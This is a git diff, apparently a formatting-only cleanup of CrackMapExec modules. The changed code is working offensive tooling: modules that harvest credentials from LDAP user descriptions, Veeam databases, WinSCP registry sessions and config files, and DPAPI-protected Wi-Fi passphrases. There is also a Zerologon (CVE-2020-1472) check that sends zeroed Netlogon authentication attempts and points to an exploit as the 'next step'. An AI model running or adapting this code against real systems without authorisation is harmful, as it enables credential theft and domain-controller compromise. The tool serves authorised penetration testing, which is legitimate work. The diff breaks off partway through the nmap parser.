supported_protocols = ["ldap"] @@ -41,31 +42,37 @@ class CMEModule: self.desc_count = 0 self.context = context self.account_names = set() - self.keywords = {'pass', 'creds', 'creden', 'key', 'secret', 'default'} + self.keywords = {"pass", "creds", "creden", "key", "secret", "default"} - if 'LDAP_FILTER' in module_options: + if "LDAP_FILTER" in module_options: self.search_filter = module_options["LDAP_FILTER"] else: self.search_filter = "(&(objectclass=user)" - if 'DESC_FILTER' in module_options: + if "DESC_FILTER" in module_options: self.search_filter += f"(description={module_options['DESC_FILTER']})" - if 'DESC_INVERT' in module_options: - self.search_filter += f"(!(description={module_options['DESC_INVERT']}))" + if "DESC_INVERT" in module_options: + self.search_filter += ( + f"(!(description={module_options['DESC_INVERT']}))" + ) - if 'USER_FILTER' in module_options: - self.search_filter += f"(sAMAccountName={module_options['USER_FILTER']})" + if "USER_FILTER" in module_options: + self.search_filter += ( + f"(sAMAccountName={module_options['USER_FILTER']})" + ) - if 'USER_INVERT' in module_options: - self.search_filter += f"(!(sAMAccountName={module_options['USER_INVERT']}))" + if "USER_INVERT" in module_options: + self.search_filter += ( + f"(!(sAMAccountName={module_options['USER_INVERT']}))" + ) self.search_filter += ")" - if 'KEYWORDS' in module_options: - self.keywords = set(module_options['KEYWORDS'].split(',')) - elif 'ADD_KEYWORDS' in module_options: - add_keywords = set(module_options['ADD_KEYWORDS'].split(',')) + if "KEYWORDS" in module_options: + self.keywords = set(module_options["KEYWORDS"].split(",")) + elif "ADD_KEYWORDS" in module_options: + add_keywords = set(module_options["ADD_KEYWORDS"].split(",")) self.keywords = self.keywords.union(add_keywords) def on_login(self, context, connection): @@ -73,17 +80,21 @@ class CMEModule: On successful LDAP login we perform a search for all user objects that have a description. Users can specify additional LDAP filters that are applied to the query. """ - self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S")) - context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'") + self.create_log_file( + connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S") + ) + context.log.info( + f"Starting LDAP search with search filter '{self.search_filter}'" + ) try: sc = ldap.SimplePagedResultsControl() connection.ldapConnection.search( searchFilter=self.search_filter, - attributes=['sAMAccountName', 'description'], + attributes=["sAMAccountName", "description"], sizeLimit=0, searchControls=[sc], - perRecordCallback=self.process_record + perRecordCallback=self.process_record, ) except LDAPSearchError as e: context.log.fail(f"Obtained unexpected exception: {str(e)}") @@ -95,10 +106,10 @@ class CMEModule: Create a log file for dumping user descriptions. """ logfile = f"UserDesc-{host}-{time}.log" - logfile = Path.home().joinpath('.cme').joinpath('logs').joinpath(logfile) + logfile = Path.home().joinpath(".cme").joinpath("logs").joinpath(logfile) self.context.log.info(f"Creating log file '{logfile}'") - self.log_file = open(logfile, 'w') + self.log_file = open(logfile, "w") self.append_to_log("User:", "Description:") def delete_log_file(self): @@ -133,26 +144,29 @@ class CMEModule: if not isinstance(item, ldapasn1.SearchResultEntry): return - sAMAccountName = '' - description = '' + sAMAccountName = "" + description = "" try: - for attribute in item['attributes']: - - if str(attribute['type']) == 'sAMAccountName': - sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8') - elif str(attribute['type']) == 'description': - description = attribute['vals'][0].asOctets().decode('utf-8') + for attribute in item["attributes"]: + if str(attribute["type"]) == "sAMAccountName": + sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8") + elif str(attribute["type"]) == "description": + description = attribute["vals"][0].asOctets().decode("utf-8") except Exception as e: - entry = sAMAccountName or 'item' - self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'") + entry = sAMAccountName or "item" + self.context.error( + f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'" + ) if description and sAMAccountName not in self.account_names: self.desc_count += 1 self.append_to_log(sAMAccountName, description) if self.highlight(description): - self.context.log.highlight(f"User: {sAMAccountName} - Description: {description}") + self.context.log.highlight( + f"User: {sAMAccountName} - Description: {description}" + ) self.account_names.add(sAMAccountName) diff --git a/cme/modules/veeam_dump.py b/cme/modules/veeam_dump.py index a42f7cac..6dfbff32 100644 --- a/cme/modules/veeam_dump.py +++ b/cme/modules/veeam_dump.py @@ -10,19 +10,23 @@ import traceback from base64 import b64encode from cme.helpers.powershell import get_ps_script + class CMEModule: """ - Module by @NeffIsBack + Module by @NeffIsBack """ - name = 'veeam' - description = 'Extracts credentials from local Veeam SQL Database' - supported_protocols = ['smb'] - opsec_safe= True + + name = "veeam" + description = "Extracts credentials from local Veeam SQL Database" + supported_protocols = ["smb"] + opsec_safe = True multiple_hosts = True def __init__(self): - with open(get_ps_script('veeam_dump_module/veeam-creds_dump.ps1'), 'r') as psFile: + with open( + get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r" + ) as psFile: self.psScript = psFile.read() def options(self, context, module_options): @@ -36,23 +40,33 @@ class CMEModule: SqlDatabase = "" SqlInstance = "" SqlServer = "" - + try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] - - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Veeam\\Veeam Backup and Replication') - keyHandle = ans['phkResult'] + regHandle = ans["phKey"] - SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlDatabaseName')[1].split('\x00')[:-1][0] - SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlInstanceName')[1].split('\x00')[:-1][0] - SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlServerName')[1].split('\x00')[:-1][0] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Veeam\\Veeam Backup and Replication", + ) + keyHandle = ans["phkResult"] + + SqlDatabase = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName" + )[1].split("\x00")[:-1][0] + SqlInstance = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName" + )[1].split("\x00")[:-1][0] + SqlServer = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName" + )[1].split("\x00")[:-1][0] except DCERPCException as e: - if str(e).find('ERROR_FILE_NOT_FOUND'): + if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.fail("No Veeam installation found") except: context.log.fail("UNEXPECTED ERROR:") @@ -60,7 +74,7 @@ class CMEModule: finally: remoteOps.finish() return [SqlDatabase, SqlInstance, SqlServer] - + def stripXmlOutput(self, context, output): return output.split("CLIXML")[1].split(" "Tuple[int, bytes]": @@ -119,7 +127,7 @@ class CMEModule: a = passBytes[0] b = passBytes[1] passBytes = passBytes[2:] - return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xff, passBytes + return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, passBytes # ==================== Handle Registry ==================== def registrySessionExtractor(self, context, connection, userObject, sessionName): @@ -131,15 +139,29 @@ class CMEModule: remoteOps.enableRegistry() ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\' + sessionName) - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + userObject + + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + + sessionName, + ) + keyHandle = ans["phkResult"] - hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'HostName')[1].split('\x00')[:-1][0]) - userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UserName')[1].split('\x00')[:-1][0] + hostName = unquote( + rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "HostName" + )[1].split("\x00")[:-1][0] + ) + userName = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "UserName" + )[1].split("\x00")[:-1][0] try: - password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'Password')[1].split('\x00')[:-1][0] + password = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "Password" + )[1].split("\x00")[:-1][0] except: context.log.debug("Session found but no Password is stored!") password = "" @@ -170,23 +192,27 @@ class CMEModule: # Enumerate all logged in and loaded Users on System ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "") + keyHandle = ans["phkResult"] data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle) - users = data['lpcSubKeys'] + users = data["lpcSubKeys"] # Get User Names userNames = [] for i in range(users): - userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0]) + userNames.append( + rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)[ + "lpNameOut" + ].split("\x00")[:-1][0] + ) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) # Filter legit users in regex - userNames.remove('.DEFAULT') - regex = re.compile(r'^.*_Classes$') + userNames.remove(".DEFAULT") + regex = re.compile(r"^.*_Classes$") userObjects = [i for i in userNames if not regex.match(i)] except: context.log.fail("Error handling Users in registry") @@ -207,17 +233,25 @@ class CMEModule: # Enumerate all Users on System ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList", + ) + keyHandle = ans["phkResult"] data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle) - users = data['lpcSubKeys'] + users = data["lpcSubKeys"] # Get User Names for i in range(users): - userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0]) + userObjects.append( + rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)[ + "lpNameOut" + ].split("\x00")[:-1][0] + ) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) except: context.log.fail("Error handling Users in registry") @@ -237,23 +271,37 @@ class CMEModule: for userObject in unloadedUserObjects: # Extract profile Path of NTUSER.DAT ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject) - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + + userObject, + ) + keyHandle = ans["phkResult"] - userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0] + userProfilePath = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath" + )[1].split("\x00")[:-1][0] rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) # Load Profile ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, regHandle, "" + ) + keyHandle = ans["phkResult"] context.log.debug("LOAD USER INTO REGISTRY: " + userObject) - rrp.hBaseRegLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject, userProfilePath + "\\" + "NTUSER.DAT") + rrp.hBaseRegLoadKey( + remoteOps._RemoteOperations__rrp, + keyHandle, + userObject, + userProfilePath + "\\" + "NTUSER.DAT", + ) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) finally: remoteOps.finish() @@ -268,15 +316,17 @@ class CMEModule: # Unload Profile ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "") + keyHandle = ans["phkResult"] for userObject in unloadedUserObjects: context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject) try: - rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject) + rrp.hBaseRegUnLoadKey( + remoteOps._RemoteOperations__rrp, keyHandle, userObject + ) except: traceback.print_exc() rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) @@ -289,12 +339,19 @@ class CMEModule: remoteOps.enableRegistry() ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + userObject + + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security", + ) + keyHandle = ans["phkResult"] - useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseMasterPassword')[1] + useMasterPassword = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword" + )[1] rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) finally: remoteOps.finish() @@ -312,45 +369,72 @@ class CMEModule: self.userObjectToNameMapper(context, connection, allUserObjects) # Users which must be loaded into registry: - unloadedUserObjects = list(set(userObjects).symmetric_difference(set(allUserObjects))) + unloadedUserObjects = list( + set(userObjects).symmetric_difference(set(allUserObjects)) + ) self.loadMissingUsers(context, connection, unloadedUserObjects) # Retrieve how many sessions are stored in registry from each UserObject ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] for userObject in allUserObjects: try: - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions", + ) + keyHandle = ans["phkResult"] - data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle) - sessions = data['lpcSubKeys'] - context.log.success("Found {} sessions for user \"{}\" in registry!".format(sessions - 1, self.userDict[userObject])) + data = rrp.hBaseRegQueryInfoKey( + remoteOps._RemoteOperations__rrp, keyHandle + ) + sessions = data["lpcSubKeys"] + context.log.success( + 'Found {} sessions for user "{}" in registry!'.format( + sessions - 1, self.userDict[userObject] + ) + ) # Get Session Names sessionNames = [] for i in range(sessions): - sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0]) + sessionNames.append( + rrp.hBaseRegEnumKey( + remoteOps._RemoteOperations__rrp, keyHandle, i + )["lpNameOut"].split("\x00")[:-1][0] + ) rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) - sessionNames.remove('Default%20Settings') + sessionNames.remove("Default%20Settings") if self.checkMasterpasswordSet(connection, userObject): context.log.fail("MasterPassword set! Aborting extraction...") continue # Extract stored Session infos for sessionName in sessionNames: - self.printCreds(context, self.registrySessionExtractor(context, connection, userObject, sessionName)) + self.printCreds( + context, + self.registrySessionExtractor( + context, connection, userObject, sessionName + ), + ) except DCERPCException as e: - if str(e).find('ERROR_FILE_NOT_FOUND'): - context.log.debug("No WinSCP config found in registry for user {}".format(userObject)) + if str(e).find("ERROR_FILE_NOT_FOUND"): + context.log.debug( + "No WinSCP config found in registry for user {}".format( + userObject + ) + ) except Exception: context.log.fail("Unexpected error:") traceback.print_exc() self.unloadMissingUsers(context, connection, unloadedUserObjects) except DCERPCException as e: # Error during registry query - if str(e).find('rpc_s_access_denied'): - context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.") + if str(e).find("rpc_s_access_denied"): + context.log.fail( + "Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry." + ) except: context.log.fail("UNEXPECTED ERROR:") traceback.print_exc() @@ -363,16 +447,16 @@ class CMEModule: config.read_string(confFile) # Stop extracting creds if Master Password is set - if (int(config.get('Configuration\\Security', 'UseMasterPassword')) == 1): + if int(config.get("Configuration\\Security", "UseMasterPassword")) == 1: context.log.fail("Master Password Set, unable to recover saved passwords!") return for section in config.sections(): - if config.has_option(section, 'HostName'): - hostName = unquote(config.get(section, 'HostName')) - userName = config.get(section, 'UserName') - if config.has_option(section, 'Password'): - encPassword = config.get(section, 'Password') + if config.has_option(section, "HostName"): + hostName = unquote(config.get(section, "HostName")) + userName = config.get(section, "UserName") + if config.has_option(section, "Password"): + encPassword = config.get(section, "Password") decPassword = self.decryptPasswd(hostName, userName, encPassword) else: decPassword = "NO_PASSWORD_FOUND" @@ -381,8 +465,8 @@ class CMEModule: def getConfigFile(self, context, connection): if self.filepath: - self.share = (self.filepath.split(':')[0] + "$") - path = self.filepath.split(':')[1] + self.share = self.filepath.split(":")[0] + "$" + path = self.filepath.split(":")[1] try: buf = BytesIO() @@ -391,29 +475,43 @@ class CMEModule: context.log.success("Found config file! Extracting credentials...") self.decodeConfigFile(context, confFile) except: - context.log.fail("Error! No config file found at {}".format(self.filepath)) + context.log.fail( + "Error! No config file found at {}".format(self.filepath) + ) traceback.print_exc() else: - context.log.display("Looking for WinSCP creds in User documents and AppData...") - output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True) + context.log.display( + "Looking for WinSCP creds in User documents and AppData..." + ) + output = connection.execute( + 'powershell.exe "Get-LocalUser | Select name"', True + ) users = [] - for row in output.split('\r\n'): + for row in output.split("\r\n"): users.append(row.strip()) users = users[2:] # Iterate over found users and default paths to look for WinSCP.ini files for user in users: - paths = [("\\Users\\" + user + "\\Documents\\WinSCP.ini"), - ("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini")] + paths = [ + ("\\Users\\" + user + "\\Documents\\WinSCP.ini"), + ("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"), + ] for path in paths: confFile = "" try: buf = BytesIO() connection.conn.getFile(self.share, path, buf.write) confFile = buf.getvalue().decode() - context.log.success("Found config file at \"{}\"! Extracting credentials...".format(self.share + path)) + context.log.success( + 'Found config file at "{}"! Extracting credentials...'.format( + self.share + path + ) + ) except: - context.log.debug("No config file found at \"{}\"".format(self.share + path)) + context.log.debug( + 'No config file found at "{}"'.format(self.share + path) + ) if confFile: self.decodeConfigFile(context, confFile) diff --git a/cme/modules/wireless.py b/cme/modules/wireless.py index 8598478b..290787d3 100644 --- a/cme/modules/wireless.py +++ b/cme/modules/wireless.py @@ -10,16 +10,14 @@ from cme.helpers.logger import highlight class CMEModule: - - name = 'wifi' + name = "wifi" description = "Get key of all wireless interfaces" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_admin_login(self, context, connection): host = connection.hostname + "." + connection.domain @@ -48,7 +46,7 @@ class CMEModule: conn = None try: - conn = DPLootSMBConnection(target) + conn = DPLootSMBConnection(target) conn.smb_session = connection.conn except Exception as e: context.log.debug("Could not upgrade connection: {}".format(e)) @@ -60,12 +58,16 @@ class CMEModule: masterkeys += masterkeys_triage.triage_system_masterkeys() except Exception as e: context.log.debug("Could not get masterkeys: {}".format(e)) - + if len(masterkeys) == 0: context.log.fail("No masterkeys looted") return - context.log.success("Got {} decrypted masterkeys. Looting Wifi interfaces".format(highlight(len(masterkeys)))) + context.log.success( + "Got {} decrypted masterkeys. Looting Wifi interfaces".format( + highlight(len(masterkeys)) + ) + ) try: # Collect Chrome Based Browser stored secrets @@ -74,14 +76,24 @@ class CMEModule: except Exception as e: context.log.debug("Error while looting wifi: {}".format(e)) for wifi_cred in wifi_creds: - if wifi_cred.auth.upper() == 'OPEN': + if wifi_cred.auth.upper() == "OPEN": context.log.highlight("[OPEN] %s" % (wifi_cred.ssid)) - if wifi_cred.auth.upper() in ['WPAPSK', 'WPA2PSK']: + if wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK"]: try: - context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password.decode('latin-1'))) + context.log.highlight( + "[%s] %s - Passphrase: %s" + % ( + wifi_cred.auth.upper(), + wifi_cred.ssid, + wifi_cred.password.decode("latin-1"), + ) + ) except: - context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password)) + context.log.highlight( + "[%s] %s - Passphrase: %s" + % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password) + ) else: - context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type)) - - + context.log.highlight( + "[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type) + ) diff --git a/cme/modules/zerologon.py b/cme/modules/zerologon.py index 5e0ee394..12e23ab9 100644 --- a/cme/modules/zerologon.py +++ b/cme/modules/zerologon.py @@ -14,7 +14,9 @@ MAX_ATTEMPTS = 2000 # False negative chance: 0.04% class CMEModule: name = "zerologon" - description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472" + description = ( + "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472" + ) supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False @@ -28,38 +30,57 @@ class CMEModule: def on_login(self, context, connection): self.context = context - if self.perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname): + if self.perform_attack( + "\\\\" + connection.hostname, connection.host, connection.hostname + ): self.context.log.highlight("VULNERABLE") - self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472") + self.context.log.highlight( + "Next step: https://github.com/dirkjanm/CVE-2020-1472" + ) try: host = self.context.db.get_hosts(connection.host)[0] - self.context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, zerologon=True) + self.context.db.add_host( + host.ip, + host.hostname, + host.domain, + host.os, + host.smbv1, + host.signing, + zerologon=True, + ) except Exception as e: self.context.log.debug(f"Error updating zerologon status in database") def perform_attack(self, dc_handle, dc_ip, target_computer): # Keep authenticating until successful. Expected average number of attempts needed: 256. - self.context.log.debug('Performing authentication attempts...') + self.context.log.debug("Performing authentication attempts...") rpc_con = None try: - binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) for attempt in range(0, MAX_ATTEMPTS): - result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer) + result = try_zero_authenticate( + rpc_con, dc_handle, dc_ip, target_computer + ) if result: return True else: - self.context.log.debug('\nAttack failed. Target is probably patched.') + self.context.log.debug("\nAttack failed. Target is probably patched.") except DCERPCException as e: - self.context.log.fail(f"Error while connecting to host: DCERPCException, " - f"which means this is probably not a DC!") + self.context.log.fail( + f"Error while connecting to host: DCERPCException, " + f"which means this is probably not a DC!" + ) def fail(msg): cme_logger.debug(msg, file=sys.stderr) - cme_logger.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr) + cme_logger.debug( + "This might have been caused by invalid arguments or network issues.", + file=sys.stderr, + ) sys.exit(2) @@ -67,34 +88,36 @@ def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. # Use an all-zero challenge and credential. - plaintext = b'\x00' * 8 - ciphertext = b'\x00' * 8 + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. - flags = 0x212fffff + flags = 0x212FFFFF # Send challenge and authentication request. - nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) + nrpc.hNetrServerReqChallenge( + rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext + ) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, - dc_handle + '\x00', - target_computer + '$\x00', + dc_handle + "\x00", + target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - target_computer + '\x00', + target_computer + "\x00", ciphertext, - flags + flags, ) # It worked! - assert server_auth['ErrorCode'] == 0 + assert server_auth["ErrorCode"] == 0 return True except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. - if ex.get_error_code() == 0xc0000022: + if ex.get_error_code() == 0xC0000022: return None else: - fail(f'Unexpected error code from DC: {ex.get_error_code()}.') + fail(f"Unexpected error code from DC: {ex.get_error_code()}.") except BaseException as ex: - fail(f'Unexpected error: {ex}.') + fail(f"Unexpected error: {ex}.") diff --git a/cme/parsers/ip.py b/cme/parsers/ip.py index d42a8e05..48ed14e9 100755 --- a/cme/parsers/ip.py +++ b/cme/parsers/ip.py @@ -3,24 +3,26 @@ from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface + def parse_targets(target): try: - if '-' in target: - start_ip, end_ip = target.split('-') + if "-" in target: + start_ip, end_ip = target.split("-") try: end_ip = ip_address(end_ip) except ValueError: first_three_octets = start_ip.split(".")[:-1] first_three_octets.append(end_ip) - end_ip = ip_address( - ".".join(first_three_octets) - ) + end_ip = ip_address(".".join(first_three_octets)) for ip_range in summarize_address_range(ip_address(start_ip), end_ip): for ip in ip_range: yield str(ip) else: - if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local: + if ( + ip_interface(target).ip.version == 6 + and ip_address(target).is_link_local + ): yield str(target) else: for ip in ip_network(target, strict=False): diff --git a/cme/parsers/nessus.py b/cme/parsers/nessus.py index 11d1e640..4e9185d3 100644 --- a/cme/parsers/nessus.py +++ b/cme/parsers/nessus.py @@ -5,11 +5,11 @@ import xmltodict # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard protocol_dict = { - 'smb': {'ports': [445, 139], 'services': ['smb', 'cifs']}, - 'mssql': {'ports': [1433], 'services': ['mssql']}, - 'ssh': {'ports': [22], 'services': ['ssh']}, - 'winrm': {'ports': [5986, 5985], 'services': ['www', 'https?']}, - 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['www', 'https?']} + "smb": {"ports": [445, 139], "services": ["smb", "cifs"]}, + "mssql": {"ports": [1433], "services": ["mssql"]}, + "ssh": {"ports": [22], "services": ["ssh"]}, + "winrm": {"ports": [5986, 5985], "services": ["www", "https?"]}, + "http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]}, } @@ -20,25 +20,25 @@ def parse_nessus_file(nessus_file, protocol): # Must return True otherwise xmltodict will throw a ParsingIterrupted() exception # https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219 - if any('ReportHost' and 'ReportItem' in values for values in path): + if any("ReportHost" and "ReportItem" in values for values in path): item = dict(path) - ip = item['ReportHost']['name'] + ip = item["ReportHost"]["name"] if ip in targets: return True - port = item['ReportItem']['port'] - svc_name = item['ReportItem']['svc_name'] + port = item["ReportItem"]["port"] + svc_name = item["ReportItem"]["svc_name"] - if port in protocol_dict[protocol]['ports']: + if port in protocol_dict[protocol]["ports"]: targets.append(ip) - if svc_name in protocol_dict[protocol]['services']: + if svc_name in protocol_dict[protocol]["services"]: targets.append(ip) return True else: return True - with open(nessus_file, 'r') as file_handle: + with open(nessus_file, "r") as file_handle: xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file) return targets diff --git a/cme/parsers/nmap.py b/cme/parsers/nmap.py index 2d72ee65..178a41d8 100644 --- a/cme/parsers/nmap.py +++ b/cme/parsers/nmap.py @@ -5,31 +5,36 @@ import xmltodict # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard protocol_dict = { - 'smb': {'ports': [445, 139], 'services': ['netbios-ssn', 'microsoft-ds']}, - 'mssql': {'ports': [1433], 'services': ['ms-sql-s']}, - 'ssh': {'ports': [22], 'services': ['ssh']}, - 'winrm': {'ports': [5986, 5985], 'services': 